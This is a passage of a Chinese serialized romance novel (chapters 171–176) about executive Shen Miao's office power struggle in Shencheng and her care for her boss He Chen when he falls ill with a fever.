“成。”
秦川推开门下车。
事情走到这一步,已经不单单是贺忱一个人的事情,而是贺家跟程家的事情。
他在驾驶位停了下,又说了句,“程家那几个,都不是好东西,确实该小心一些。”
贺忱将车窗升起,并未回应秦川的话。
布加迪在原地停了近半个小时,才开走。
彼时,李白恬正在沈渺办公室,竖着大拇指一顿猛夸。
“沈总,你可真厉害,我刚刚看到韩经理脸比锅底还黑,还有韩董的儿子,他走的时候像牛魔王,又丑又气……”
第一战打响,首战告捷,撕破脸后接踵而来的麻烦会一次比一次严重。
但看到李白恬高兴成这样,沈渺忍不住轻笑。
“你以后多盯着点周敬才。”
“你找个理由把周敬才换了多好!”
李白恬觉得,沈渺都能把公关部经理给拿了,对付周敬才不是轻而易举吗?
沈渺,“明面上的危险,好过暗算。”
“那行,周敬才就交给我了。”
李白恬拍着胸脯保证。
下午,赵娜来找沈渺,为开除公关部经理的事情。
“他有多年的工作经验,是我花重金挖过来的,开除对我们没有好处。”
“也就是说,你还是要跟着韩文松。”
沈渺一语戳中重点。
赵娜喉咙一紧,好一会儿才说,“你们我谁都不想得罪!可不给谁办事都没好下场,我看我迟早要被你们逼走!”
“早站队早好,你现在选我,我能在贺总面前保你坐稳人事部部长的位置,韩文松动不了你。”
沈渺眉梢轻挑了下。
这已经不是在暗示赵娜,现在归顺她是最好的时机。
而是明示。
赵娜却依旧没吭声。
沈渺的手机响了,是林昭。
“出去,明天一早给我答复。”
她脸色沉下来,不再跟赵娜多言。
赵娜的欲言又止,被持续响的铃声打断,她只能离开。
沈渺滑动屏幕,接起林昭的电话。
“沈秘书,贺总在吗?我这儿有急事联系不上他了!”
林昭焦急的声音传来。
171.贺忱怕你一个人在深城挨欺负
“贺总?”沈渺疑惑又诧异,“他不是在京北吗?他不在公司吗?”
林昭,“啊?他不是去……”
不是去深城了吗。
后面的话还未说完,贺忱的电话就拨进来了。
“贺总给我回电话了,我先挂了,沈秘书!”
林昭直接挂了电话。
这端,沈渺对着挂断的电话晃神。
林昭找贺忱,在情理之中。
可给她打电话找人,就不应该了。
她可不在京北啊。
沈渺轻抿着唇,眉宇处凝着的疑惑久久散不去。
今晚商音打算在新租的房子里睡,但还缺个人物品。
下午工作不忙,她踩着点下班,一起顾逛商场采购。
“这个育儿嫂不白贵,把商商哄的根本不想找我,她做饭那会儿我带着商商,商商还总往厨房看呢。”
商音推着婴儿车,一个劲儿地夸育儿嫂好。
沈渺一边选她要的东西,一边回应,“那就行,你先休息两天,再复工。”
“你说,他以后会不会跟我不亲,把育儿嫂当妈了啊?”
商音脸都皱成包子。
沈渺:“……”
“找个不好的,你各种不满,太好的又怕孩子将来跟你不亲了,你矛盾不矛盾?”
商音哂笑,“是我多变了,反正我以后抽出时间来一定多陪陪他。”
“未来几天,我工作可能会很忙,或许晚上也要加班,你们晚餐不用等我。”
沈渺拿公关部经理开刀,下一步就要拿回总经理的权利。
真正身在其职的工作,她会忙得脚不沾地。
尤其还有韩文松他们搞小动作。
“我到时候把晚餐给你送过去,你回家热一热吃,还有汤,你可要注意身体。”
商音看了看她肚子,“还是小了点,谁家好人怀孕五六个月,还显不出来啊?”
沈渺沉一口气,摸了摸肚子。
“我吃得真不少,让你说的我都觉得对不起孩子。”
她已经尽力多吃了,但天生不胖的体质,让她四肢纤细。
该说不说,肚子也确实不大,去产检勉强达标。
虽然是达标了,可挂上勉强两个字——
“补,以后晚上回家,把我给你送过去的东西都吃完。”
商音发号施令。
沈渺轻笑,给商商选了个扭扭乐的小玩具。
两个又去超市采购食材,把商音家里的冰箱都填满了。
当晚,沈渺快十点才回住处,洗漱上床。
睡前,她给贺忱打电话报平安。
孰料,电话响到自动挂断,都没有人接。
沈渺没再打第二遍,改为发消息。
昨晚没睡好的缘故,她困得要命,躺下没多会儿就睡着了。
睡得正熟时,手机铃声突然响起。
迷迷糊糊的,沈渺从枕头下拿出手机,滑动屏幕就接起。
“华东壹号院305,沈渺,你过来一趟。”
贺忱的声音有气无力,在沉寂的夜晚格外清晰。
沈渺几乎是一瞬间,睡意全无。
“什么?”
“我过敏了。”
贺忱的声音伴着嘶气,听起来十分难受。
沈渺撑着身子坐起来,开了床头的灯,“你在深城?”
“嗯。”贺忱鼻腔里发出一个单音节。
沈渺挂了电话换上衣服,开车直奔华东壹号院。
那是深城有名的别墅区,离着她这儿不远,开车二十分钟就到了。
深夜道路空旷,沈渺将车速提到最快。
抵达壹号院305时,整栋别墅灯火通明般的亮着。
她快速下车走过去,敲响家门。
门铃响了一声又一声,却没有人接。
沈渺转动手柄,电子锁发出‘滴滴滴’的声音。
她犹豫了几秒,输入密码。
门应声而开,密码跟他京北的家是一样的。
“贺总?”
沈渺顾不上换鞋,走过客厅、厨房玄关,却都不见贺忱。
她又往二楼走去,在主卧虚掩的门里,依稀看到男人的身影。
贺忱躺在床上,盖着薄被,勾出紧致有型的身体轮廓。
他额头敷着退热贴,脸颊有些不同寻常的潮红。
“贺忱?”
沈渺心底一惊,快步过去,覆上他额头,滚烫!
“你这是怎么了?”
她的声音,并未让床上的男人有任何反应。
贺忱依旧躺在那里,纹丝不动,骨节分明的手放在身体两侧,强而有力跳动的脉络,清晰可见。
沈渺试图将他扶起来,奈何他太重了,而她肚子里还揣着一个——
就在她不知如何是好的时候,门铃突然响起。
沈渺重新给贺忱盖好被子,快步下楼,走到玄关便看到可视门铃外,秦川站在那里。
她毫不犹豫将门打开。
“秦医生,你来得刚好,贺忱发烧了,你快去看看。”
虽然秦川是妇产科医生,但他应该能给贺忱诊断一下。
秦川拖着行李箱进来,鞋子都没换就上楼了。
他给贺忱做了个基础检查。
“他应该喝过退烧药了,不过这应该是第二次烧起来。”
秦川看到退烧药少了两颗,推测贺忱百天内应该发过烧。
“是因为感冒吗?”
沈渺倒了一杯温水过来,“要不要送他去医院?”
秦川点头,“你开车,我背他下去。”
他只能判断现在贺忱没有生命危险,但用肉眼判断不出贺忱为什么发烧。
沈渺拿了车钥匙走在前面,锁门开车门,赶往医院。
凌晨一点,贺忱被送到深城第一医院急诊。
沈渺给林昭打电话,林昭远程安排好一切,他们到的时候院长在急诊门口候着。
各科室的主治医生都被连夜喊过来加班,一块儿给贺忱会诊。
约莫半小时,还没诊出结果。
沈渺坐在长椅上,手紧紧扯着衣角,目不转睛地看着紧闭的诊室门。
“不用太紧张,他没有生命危险。”
秦川靠墙站着,时不时打量沈渺一眼,“他喊你过来的?”
沈渺看向秦川,机械般地点头。
末了,她想起什么似的问,“贺总什么时候来的?你怎么也来这儿了?”
“一块儿来的。”秦川面色悻悻,避而不谈他为什么深夜拎着行李,敲贺忱家门。
因为深城的蚊子太毒了,尤其到晚上。
“你们来这儿干什么?”沈渺疑惑道,“什么时候来的?”
秦川,“昨天到的,贺忱不放心你一个人在深城,他怕你挨欺负。”
172.让他住你那儿,方便你照顾他
“什么?”
沈渺不是没听清,是带着质疑的反问。
她不过是个下属,贺忱再不放心,也不至于亲自跑过来。
会诊室的门打开,几个带着口罩的白大褂一同出来。
“你们,哪位是贺总的家属?”
沈渺正欲起身,听到医生的话又坐回去了。
秦川指了指她,“她是。”
“我?”沈渺侧目,看到秦川朝自己指过来的手指头,下意识站起来。
可她很快又解释,“我是他的下属,不是家属。”
“贺总是严重的水土不服,身体脱水引起的发烧,我们已经给他用上药了,最快也要明天有起色。”
贺忱刚到深城没两天,就已经身体脱水开始用药,可见他的症状很严重。
“尽量让贺总饮用矿泉水,一日三餐做易消化的食物,半个月应该就能痊愈,药可千万不能停。”
医生将一张写有水土不服的单子,交给沈渺。
“那他过两天回京北,就不用再吃药了吧?”
沈渺接过单子看了一眼,密密麻麻的注意事项,令人头大。
医生,“回京北以后就不用再吃药了,但注意饮食上还要注意几天,才能恢复正常。”
“好。”沈渺点了点头,“谢谢医生。”
医生们散开,各自回家。
贺忱被送到VIP病房里,他已经退烧,面上的红润褪去,染了几抹虚弱的病态白。
“秦医生,你应该知道怎么照顾水土不服的病人吧。”
沈渺看向站在病床另外一侧的秦川。
秦川不说话,挑起右边眉梢看着她,似是用眼神问:什么意思?
“我先走了,你有需要再跟我打电话。”
沈渺将臂弯的包往肩膀挎了挎,抬脚朝病房门口走。
孰料秦川先她一步,走到门口。
他开着半扇门,回头与沈渺说,“贺忱就交给你了,我还有事先走。”
不给沈渺拒绝的机会,他关上门火速离开,像是丢掉了烂摊子一样。
沈渺站在病房正中央,迟疑几秒眉头倏地拧起。
她回过头看着病床上的男人,双目微闭不怒自威。
轮廓分明的五官透着虚弱,她从未看到他个样子过。
片刻,沈渺在病床侧的椅子上坐下。
她坐到天亮,期间几次给贺忱试体温,好在没再烧起来。
天色大亮时,沈渺终于撑不住疲倦,到沙发上去休息。
她蜷缩着身体,刚闭上眼睛,就睡着了。
病房里敞着窗户,城市的喧嚣传来,贺忱平缓的眉骨微拢,渐渐醒过来。
他狭长的眼眸睁开一条缝,入目是纯白色的天花板。
鼻翼间萦绕着刺鼻的消毒水味,令他眉头蹙得更紧。
他抬起手捏了捏眉心,昨晚给沈渺打电话的画面跃入脑海。
之后发生什么,他一概不知。
目光扫视一圈病房,最终落在沙发上。
沈渺出来的急,穿了件浅灰色纯棉质地的长裙,套了件黑色的针织开衫。
她整个人透着温婉柔和,尤其那头乌黑披散的长发,更衬得肤色净白。
贺忱看了几秒,从床上下来,走到沙发上,将沈渺抱起来。
他打算把沈渺抱到床上去,睡得还舒服些。
可身体突然腾空,沈渺在沉睡中惊醒,下意识双手勾住他脖子。
蓦地,她那双眼眶微红的眸子睁开,直直撞入男人深沉的目光中。
“你醒了?”
沈渺人还蒙着,下意识地问,“还有没有感觉哪里不舒服?”
贺忱喉结滚动,“没事了。”
“医生说你水土不服,都脱水了,让你这几天注意——啊!”
沈渺想的是,他醒了以后交代两句,她就回家。
只是话还没说完,身体突然又下坠了一下。
她下意识搂紧贺忱的脖子,彻底清醒了,这才发现她怎么在贺忱的怀里?
贺忱估摸着,她重了有十来斤。
也不算胖,但他昨天一天没吃东西,又折腾了一夜,抱久了突然就卸了力气。
他屏气凝神,又及时将她接住了。
沈渺回过神,迅速从他怀里出来。
她整理着裙衫,面色带着不自在。
“看你在沙发上睡得不舒服。”贺忱嗓音涔涔地解释。
沈渺摇头,“没事,不睡了,贺总要是没别的事情我就先回家了,等会儿还要去公司。”
“我在生病。”贺忱眉骨一拢,吐出四个字。
“医生说你病得不严重,注意饮食就可以。”沈渺拿起椅子上的包。
贺忱面色不虞,“沈秘书如此避嫌,是怕张科研介意吗。”
沈渺看他一眼。
“你不怕程小姐介意吗?”
“没什么好介意的,总不能死在异国他乡。”
贺忱话重。
搞得好像一个水土不服,能死人一样。
沈渺敏锐地捕捉到,他带着情绪。
许是身体不舒服。
听他提起张科研,本来想跟他多说两句,但显然现在不是时候。
“你什么时候回京北?”
沈渺这话一落,贺忱心底的不悦更是被扩大了。
他越过她回到病床上坐下,一言不发。
“医生说你回京北就可以停药,注意两天饮食就能恢复正常。”
沈渺不管他哪儿来的情绪,交代完他的病情,转身就走。
贺忱眼皮轻掀,睨了她背影一眼,面色涌上薄怒。
不等沈渺推开病房门,门被人从外面推开。
秦川拎着一个保温桶进来,挡住了沈渺的去路。
“都醒了,那我来得刚好,你们两个的早餐。”
沈渺微点了下头,算打过招呼,“辛苦秦医生了,不过不用了,我回去吃。”
“你要走啊?”秦川看他一桌完整,手里还拿着包,问道。
“嗯。”
秦川又看看病床上的男人,脸色黑臭黑臭的。
他又说,“那你什么时候回来?”
沈渺下意识想说,她不回来。
她又不是贺忱的家属。
可是转而一想,这千里之外,贺忱没有亲人在这边。
她身为贺忱的下属,照顾他是理所应当的事情。
沈渺犹豫了几秒问,“秦医生,你方便照顾贺总吗?”
“不方便。”秦川摇头,“我睡大街,他身体娇贵,可受不了。”
睡大街?
沈渺突然觉得秦川莫名其妙。
“不如这样吧。”秦川看了贺忱一眼,缓缓道,“他没必要再住院了,让他住你那儿,方便你照顾他。”
173.你深夜去见了贺忱
“不行。”
沈渺拒绝得干脆利落,“你照顾刚合适。”
秦川,“我不行,不方便。”
他一个男人,能比沈渺这个女下属,更不方便吗?
沈渺想反驳的话还没说出口,就见床上的男人掀开被子下来。
他三下五除二,将衣服穿上,换好鞋子,推开挡在门口的秦川,阔步离开。
两双眼睛,齐刷刷看着他一言不发却果断的动作。
“他,去哪儿?”沈渺不明所以地问秦川。
秦川,“被你气走了,你嫌弃他是个累赘,不愿意管。”
“我没有嫌弃他的意思,只是你这个朋友在,而且还是医生,轮不到我管。”
沈渺实事求是,更何况她还是个孕妇。
秦川,“我说了,我没空。”
“……”沈渺想说,她也没空,公司一堆事情呢。
刚刚看了眼手机,李白恬给她发了好多消息。
“没事,他这么大人了,死不了。”
秦川给她一个安心的眼神,“都去忙吧。”
说完秦川先走了。
沈渺在原地沉了几秒,再出病房,已经不见了贺忱的踪影。
她锁着眉离开医院,顾不上回家换衣服,直接去了公司。
她一直没回李白恬的消息,没等到公司,李白恬就打了电话过来。
“沈总,赵经理跟公关部经理吵起来了,公关部经理打了赵经理一巴掌,赵经理报警了,公安局的人来把他们带走了!”
沈渺将车在马路上掉头,直奔警局。
“你盯着公司,我现在去警局。”
她所在的地方离警局不远,约莫十来分钟就到了。
警局门口,韩文松与几个人凑到一起,低声说着什么。
沈渺下车朝这边走来,有人看到她,立马低声提醒韩文松。
“沈总来了。”
一瞬,凑到一起的几人散开。
韩文松看向沈渺,“沈总,你来得刚好,警方要依法处置赵经理动手打人,卢经理被送到医院去了。”
沈渺停下,反问道,“赵经理动手打人?”
“是。”韩文松点头。
刚刚电话里,李白恬说的是卢经理先动的手。
怎么到了这儿,成了赵娜打人,卢经理进医院呢?
沈渺没再听韩文松说下去,她径直进入警局内,找负责案件的民警了解事情的经过。
“肇事者赵娜被公司多人指证动手打人,受害者卢先生已经去医院了,我们有同事跟过去,传话回来说受害者被诊断为中度脑震荡。”
警方一五一十地跟沈渺说,“受害者不同意和解。”
“赵娜认了?”沈渺越听眉头皱得越紧。
“没有,所以希望沈小姐配合我们,调出你们公司的监控录像,让肇事者无话可说。”
民警似乎已经认定,是赵娜动手打人。
沈渺点了下头,“我想先见赵娜。”
“可以,人在里面。”
民警指着一扇关着的门。
沈渺走过去,守着门的人帮她将门打开。
审讯室,赵娜坐在位置上,看到沈渺进来她立刻站起来。
“我没有打人,你去调监控,就能证明我的清白!”
她情绪激动,兢兢战战了大半辈子,好不容易爬到现在这个位置上。
昨晚决定要跟沈渺,今早上就韩文松摆了一道。
沈渺安抚她,“先别急,我会想办法在韩文松手里拿到监控,证明你的清白。”
民警要监控,是为了早点结案。
可韩文松不会把监控交出来,毕竟赵娜没有打人。
这件事情拖久了,有韩文松等人作证赵娜打人,早晚赵娜都会被定罪。
赵娜后知后觉想起来,安保部是韩文松的人。
韩文松怎么会把监控给沈渺呢?
顿时,她面如死灰。
“放心,我会想办法拿到监控。”
沈渺语气坚定,“这几天先委屈你在这里等消息。”
赵娜一屁股坐回椅子上,沉默下来。
沈渺是聪明,可她不认为沈渺有跟韩文松斗的资本。
“相信我,我一定会证明你的清白,让你重回公司,坐稳人事部经理的位置。”
沈渺看她脸色,就知道她无法相信自己。
多说无益,她撂下这话,离开审讯室。
审讯室外,方才还围着韩文松的人消失得无影无踪,只有韩文松还站在那里。
看到沈渺出来,韩文松面含得意地走过来。
他嘴上却是说着惋惜的话。
“沈总,真是可惜了,赵娜这第一个想跟着你的人,怎么就这么冲动,进局子了。”
沈渺拎着包缓步下台阶,长裙摇曳,露出一小截白皙的脚踝。
便装令她看起来很柔和,褪去了几分凌厉,看起来很好欺负。
可韩文松因她眼底的那抹冷漠,而下意识从心里生出一股忌惮。
“让安保部把监控送到警局。”
沈渺下到最后一个台阶,停下来。
韩文松,“不巧,监控坏了。”
“那真是安保部的失职。”沈渺拢了拢被风吹散的头发,漠然地看向韩文松,“两个小时之内,监控录像拿不出来就让安保部部长自动辞职。”
韩文松好笑不已,“人事部群龙无首,人员调动短时间内无法进行。”
“我亲自走流程。”
沈渺一字一顿,当着韩文松的面,拿出手机给李白恬打电话。
“准备一份解约书,送到公关部去,并且以严重的工作失职,要求卢经理进行赔偿。”
韩文松的脸色一点点沉下来。
他以为,这个时候沈渺会方寸大乱。
没想到,沈渺还能看准时机,捏住他的软肋。
今天要是沈渺保住了赵娜,对沈渺拉拢其他部门的人,有很大好处。
而韩文松要是不保卢经理,就会军心涣散,对沈渺也有好处。
“我听说,贺总来深城了。”
韩文松话锋突然一转,“贺总千里迢迢跑到深城来,却没来公司足以证明他不是为了工作来的,难不成说……他是为了私事来的?可贺总马上就要结婚了,准贺少夫人就在京北,贺总能为什么人特意跑到深城来一趟?”
“贺总的事情我不清楚,你要好奇自己去问问。”
沈渺甩手就走。
“你是不清楚,还是不敢说?”韩文松拔高音量,“昨晚你深夜跑到华东壹号院,不就是去见贺总了吗?这事儿要是传出去……”
174.他在你心里,不单上司这一个身份
这事儿要是传出去,就乱套了。
威胁的意思不言而喻。
沈渺一下笑出来,“先不说我跟贺总到底有没有什么,你曝光这件事情受损的是贺家,就算是韩董都不敢跟贺家对着干,就凭你敢得罪贺家?”
她最大的底气,就是有贺忱撑腰。
别说她没捅娄子,就算真捅了,贺忱也会站在她这边。
韩文松得意的神色褪去,面色渐渐铁青。
沈渺没再离他,转身上车离开。
公司,李白恬在她办公室等着。
她刚进来,李白恬就把门关上,疑神疑鬼地跑过来。
“沈总,我刚刚偷听到周敬才打电话了,安保部把公司的监控录像上传到云共享账号里了,我连账号号码都记下来了!”
李白恬把那串号码发到沈渺手机上,“这是公司账号吗?你知道密码吗?”
沈渺拿出手机看了一眼,摇头,“这当然不是公司的账号。”
“啊?”李白恬一脸挫败,“他们不肯提供监控录像,赵经理岂不是没救了?”
她在周敬才的电话里,已经知道韩文松的全部计划。
知道赵娜要叛变,立马舍弃这颗棋子,顺便给沈渺一个下马威。
沈渺盯着手机上那串数字,沉吟片刻道,“我有办法了,你去忙你的。”
“哦。”李白恬应了声,正欲走,突然又折回来了,“对了,给高太太送过去的礼物她不收,退回来了。”
“把礼物给我,改天有机会我亲自拿去给她。”
不论高夫人是真不收,还是出于礼貌客气一下。
沈渺都要把这个人情还了。
李白恬回工位拿了个精致的小盒子放下,离开了办公室。
沈渺将那串云共享账号发给林昭,然后给林昭打电话,请他找人破解密码。
“给我十分钟。”
林昭手底下有高手,破解这种密码是分分钟的事情。
“越快越好。”沈渺一点儿反转的余地,都不想给韩文松留。
“分部情况很棘手吗?贺总怎么总不接电话?”
林昭因为工作,给贺忱打过几次电话。
每次都得打好几遍,贺忱才接。
“贺总身体不适,昨晚刚从医院急诊出来。”
沈渺如实说。
林昭,“很严重吗!?”
“已经退烧了,应该……问题不大。”
沈渺将‘应该’两字,拉长尾音。
她想到今早上贺忱甩脸离开医院的场景。
“那就好,这段时间辛苦沈秘书好好照顾贺总了,我联系不到贺总的时候,就给你打电话,免得耽误了这边工作……”
林昭絮絮叨叨了一堆。
大抵的意思是,沈渺要照顾在深城的贺忱。
毕竟千里之外,贺忱刚过去,还生了病,工作还繁忙……
他这话,说得好像沈渺没留在医院照顾贺忱,是‘大逆不道’。
毕竟,那是她的顶头上司,远在千里之外又没有亲人在身边,照顾一下是理所应当的事情。
“知道了,云端账号破解之后,你把里面的视频发到我邮箱,先挂了。”
沈渺催促着挂了电话。
林昭的动作很迅速,不出十分钟,视频已经转发到她邮箱。
她立马又去一趟警局,将东西交到民警手上。
民警播放了一遍,就让赵娜从审讯室出来了。
“赵女士,你有权利对其他人进行追责,也可以追究行凶者的责任。”
赵娜毫不犹豫地说,“我追责!不光卢经理,还有作伪证的所有人!”
“好。”民警立刻重新立案展开调查。
中午十二点半,沈渺把赵娜从警局带出来。
“上车,我带你去吃饭,就当给你接风洗尘了,去去晦气。”
沈渺走到车边,拿出车钥匙解锁。
赵娜站在车边,脸上有几分激动。
“我没想过,你这么快就能把我捞出来!”
“把你捞出来是迟早的事情,能这么早的捞出来多亏了林助帮忙。”
沈渺还得清醒,韩文松团队里有周敬才这个猪队友。
“贺总对你可真好。”赵娜下意识把林昭的功劳,都归功到贺忱身上。
毕竟,林昭是贺忱的人。
“你很聪明,能力也很强,也难怪贺总这么重用你。”
沈渺汲气,无言以对她的夸赞,只能笑道,“好了,赶快上下,下午还有一场戏。”
赵娜打开车门上去。
两人简单吃了口饭,就回了公司。
沈渺让赵娜准备了两个解约书,一个给公关部经理,一个给安保部部长。
并且还追责两人给公司带来的损失,不光一分钱的违约金不掏,还让他们赔付了违约金。
赵娜成了沈渺的人,打了一个漂亮的翻身仗,折损了对方两员大将。
韩文松给警局打了电话,才知道沈渺已经拿到了监控录像。
他压根不知哪里出的纰漏,只知道沈渺有贺忱撑腰,他斗不过。
韩文松给韩董打了一通电话,“得想个办法,让贺忱不能再护着沈渺了。”
“这事,好办。”韩董意味深长地说,“贺忱那小未婚妻该派上用场了,这段时间先别轻举妄动,等我的消息。”
韩文松,“好。”
——
赵娜彻底归顺以后,将公司各部门高层的老底,全都透给沈渺了。
沈渺逐个分析了一遍这些‘毒瘤’,为先从哪个开始‘拔’做准备。
晚上下班时,已经快十点。
商音给她打了两遍电话,喊她回家吃了饭早点休息。
沈渺回去的路上,电话再一次响起。
她直接摁下蓝牙耳机,接通电话,“正在回家的路上了,别催了。”
“沈小姐,是我。”
秦川的声音传来。
沈渺这才发现,电话不是商音打来的。
“秦医生,有事吗?”
秦川问,“你今天联系过贺忱吗?”
红绿灯路口,沈渺将车停下,“没有。”
“我给他打了十几通电话都没人接,他该不会又出事了吧?”
秦川语气凝重,“你能不能过去看看他?”
沈渺下意识说,“我还有工作……”
“你刚刚说在回家的路上了。”秦川戳破她的谎言。
沈渺:“……”
她不是不顾贺忱的死活。
秦川也在深城,身为贺忱的好朋友,比她这个下属更有适合深夜赶过去照顾贺忱。
“沈小姐,你如果只把自己当成他的下属,就不该有这么多忌惮,除非……”
秦川拉长尾音,“他在你心里,不单上司这一个身份。”
175.贺总,你今晚先在这里委屈一下。
“秦医生,药可以乱开,话不能乱说。”
沈渺语气严肃。
秦川:“……”
“我现在去看看贺总。”
红灯转绿,沈渺一脚油门踩下去,将车在路口掉头,朝着华东壹号院驶去。
半小时后,沈渺接着商音的电话,在车上下来。
“我只是以下属的身份来看看他,毕竟他出事对我没好处,是是是,你说得对,他就是个麻烦……”
商音知道贺忱来了,好一通抱怨。
她觉得沈渺瞒着她,是别有想法。
沈渺无奈的解释,顺着她的话连声附和。
“尽早回来,不许在那里过夜。”
商音凶巴巴地丢下两句话,挂了电话。
手机屏幕微弱的光,照在沈渺巴掌大的小脸上。
她细眉拧成一团,又给商音发消息。
【我一定回家,不过时间肯定不早了,你带商商先睡,别等我。】
商音:【知道,我才不等你,反正要是发现你没回来,后果很严重!】
沈渺回了个‘好’,收起手机朝别墅里走。
谁知一抬头,冷不丁对上一道深邃的目光。
贺忱站在别墅门口,修长的身子斜靠着墙壁。
自然垂落在身侧的修长手指里,夹着一根缓慢燃着的烟支。
不知道他在这里站了多久,但一定是在沈渺下车之前,不然她不可能发现不了他走出来。
也就是说……他听见她打电话了。
“贺总,既然你没事,我就先走了。”
沈渺原地僵了几秒,转身就要走。
她步伐快的,像是后面有鬼在追,生怕贺忱突然开口喊住她。
可直到她打开车门上去,男人都沉默着。
沈渺忍不住回头看了一眼。
门灯昏黄,男人白色衬衫泛着微微的橘光。
棱角分明的面容轮廓清晰,那双沉眸却是暗不见底的。
他面色透着些许的红润,不似往常的冷白。
直觉告诉沈渺,他还在发烧。
静默数秒,沈渺关上车门又回来了。
她走到贺忱面前,抬手覆上贺忱的额头。
“你没吃退烧药吗?”
贺忱掐灭烟,挥手散去烟气。
“吃了。”
他一开口,嘶哑的嗓音令病态瞬间就显形了。
沈渺,“什么时候吃的,现在烧到多少度?”
“两个小时之前吃的,没测体温。”
贺忱觉得头沉得厉害,就吃了退烧药。
可症状并未缓解,身体一直有股燥热,他这才来外面透透风。
“进去测一下。”沈渺往别墅里走。
贺忱嗓音悠悠然,“死不了。”
他没跟上来。
三个字淋漓尽致地展现了什么叫阴阳怪气。
沈渺将包放在玄关柜子上,怔了下很快恢复动作,进去找药箱。
茶几上丢着拆开包装的药,沈渺翻看了两下,愣住。
退烧药还没拆包装,缓解水土不服的药,少了六七颗!
他吃错药了!
沈渺脑袋‘嗡’的一声,转身拿了包拉着贺忱,朝车上走。
“我带你去医院。”
贺忱手腕一紧,微凉的触感传来。
他低头便看到沈渺细白的手圈着他手腕。
她手指细长,指尖泛白,根本圈不过来,小指还勾着他袖口。
两人到了车前,沈渺松开他的手,打开车门,“上车。”
她面色不怎么好看。
许是觉得他烦。
贺忱眉骨一拢,“不给沈秘书添麻烦了。”
他刻意咬重‘麻烦’两个字。
贺忱的身体一向很好,沈渺跟他这几年,他生病的次数屈指可数。
发烧更是没有过。
总觉得他拧着一股劲儿,也不知是跟沈渺过不去,还是跟自己过不去。
沈渺提醒他,“一直不退烧,有可能变成傻子。”
贺忱看她一眼,她这语气,已经把她当成傻子了。
“你去喊秦川来。”
“秦医生要是来,我……”
我就不来了。
沈渺的话到嘴边,又改了,“我都来了,就别折腾秦医生了。”
聪明如贺忱,他怎么能不知那句‘秦医生要是来’,下句该对什么。
“你用药过量了,严重会死人的,去医院挂个急诊看看吧。”
沈渺不管他同不同意,直接给林昭打电话,再次安排医生。
大半夜,京北的深城的,都为贺忱忙成了一锅粥。
沈渺觉得,贺忱可能是怕死,所以没再挣扎,跟着她去医院了。
一如昨晚的情景,不同的是只留了对症的一位院士级别医生给贺忱看诊。
“幸好贺总这个药也用错了量,应该每次吃两粒,他吃了一粒,不然真要出事了!”
医生额头冷汗直冒。
要真出了事,别说他,整个医院都不够赔的。
“他现在还在发烧。”
沈渺一阵头大,“先给他开退烧的,其他的药怎么吃,你写在包装盒上,字写大一些。”
医生连连点头,在每个药物盒子上都标注了用法用量。
“吃之前按照医生标注的剂量用药。”
沈渺转过头,轻声与贺忱说。
贺忱坐在椅子上,双腿叠放,白色的衬衫不修边幅地敞着几颗扣子。
他下巴上长出了一圈青色的胡茬。
诊室的灯亮,此刻才显现出他刚毅的面容下,隐藏的病态憔悴。
静默数秒,沈渺又转过头跟医生说,“哪个是退烧药,用红笔写上。”
医生头大,汗拼命往下流。
“沈小姐,这两天贺总身边最好别离人,免得再出状况,虽然水土不服不会出人命,但万一太严重引起并发症,什么都不好说。”
沈渺拿下贺忱身上的体温计,三十九度六。
烧了一天这会儿还能保持清醒,已经是奇迹了。
“我先给他把退烧药吃了,您给他开个单子住院吧。”
医生迟疑几秒说,“没必要住院,回家养着好的更快。”
人要是在医院出了事儿,医院的责任就更大了。
不过是个水土不服,搞得好像随时会挂了一样,医院都不敢收。
沈渺无奈,只能拿了药带着贺忱离开。
凌晨一点,道路上几乎没有车辆。
折腾这么久,沈渺筋疲力尽,带着贺忱去了她那儿。
原因是近,十几分钟就到了。
“贺总,你今晚先在这里委屈一下。”
沈渺下车,将后座车门打开。
贺忱闭目小憩,感觉身上的热度一点点散去,人舒服了不少。
他睁开眼,入目是沈渺那张精致的小脸。
176.起得来吗?我扶你
沈渺扬着胳膊开车门的动作,让裙衫熨着她的身形。
微微凸起的小腹,十分明显。
贺忱的目光下移,落在她肚子上。
一股无法用言语形容的滋味,在他心头化开。
“起得来吗?我扶你。”
沈渺弯腰探进车内半个身体,试图搀扶他。
他胳膊微动,避开她的动作。
“我自己来。”
闻言,沈渺站直身体,让开位置。
贺忱从车上下来,步伐微虚,朝她家走去。
沈渺关上车门,掏出车钥匙快步往家里走,赶在贺忱前面把家门打开。
“这里有拖鞋——”
她弯腰想在柜子里拿拖鞋。
手腕突然一紧,被贺忱骨节分明的手握住。
他蹲下来,打开柜子自己将鞋拿出来。
沈渺站直了腰,转了下手腕从他手中挣脱出来。
“我去给你弄点吃的,吃完了喝药。”
她转身进厨房,将商音留的营养粥加热。
再出来时,贺忱已经在餐桌前坐下了。
“贺总,你先吃,我上楼给你收拾房间。”
沈渺将粥放在他面前,又拿了一个汤勺给他。
“等会我自己收拾。”贺忱慢条斯理地吃着东西。
“不了,我帮您收好。”
沈渺态度毕恭毕敬,完完全全将他当成上司来看。
她保持着的那股不逾越半分的疏离,让贺忱本就微蹙的眉头,蹙得更紧了。
“你的上司是有血有肉的人,不是冷血动物,没有半夜三更压榨怀孕下属收拾床铺的癖好。”
他嗓音的不虞浓的一瞬将整个房间填满。
气氛逐渐诡异,沈渺觉得还是她跟商音说的那句‘他就是个麻烦’,才让贺忱这么不高兴。
二楼也没什么好收拾的,商音搬走后她收拾过一遍了。
“那您吃完了把碗放在洗碗池,明天我收,我先回房间休息了。”
沈渺转身要走,又突然想起来贺忱的吃药。
她绕到玄关拿了药过来,抠出两粒治疗水土不服的药片,放在桌子上,又倒了一杯温水。
“等会儿吃这两颗。”
贺忱鼻腔里发出一个单音节,没再说别的。
沈渺有些不放心,“盒子里的不能吃。”
贺忱:“……”
“你半夜如果还难受,就喊我,我不关房门。”
沈渺突然觉得,不该让贺忱到她这儿来。
医生怕贺忱在医院出事,医院吃不了兜着走。
贺忱要在她这儿出了事儿,她会更惨。
她脸上写着怕贺忱死在她这儿的顾虑。
“我退烧了,这会脑袋清醒。”
贺忱吃了几口粥,放下勺子,端起水杯将药吞服。
然后他起身朝二楼走去。
沈渺看着他剩下的半碗粥,可惜了,她还有些饿呢,没吃上。
她将剩下的粥倒掉,收拾好碗筷回房间了。
回来的路上,沈渺就愈发觉得让贺忱到她这儿来不太好。
她会不自在是小,主要是被人知道了不好。
她以为自己要彻夜失眠,惴惴不安一整晚。
但连续两天晚上被折腾,她早已筋疲力尽。
头刚沾上枕头,就被汹涌而来的倦意笼罩,睡过去了。
——
京北。
贺忱去了深城后,贺家的气氛就一直不太对。
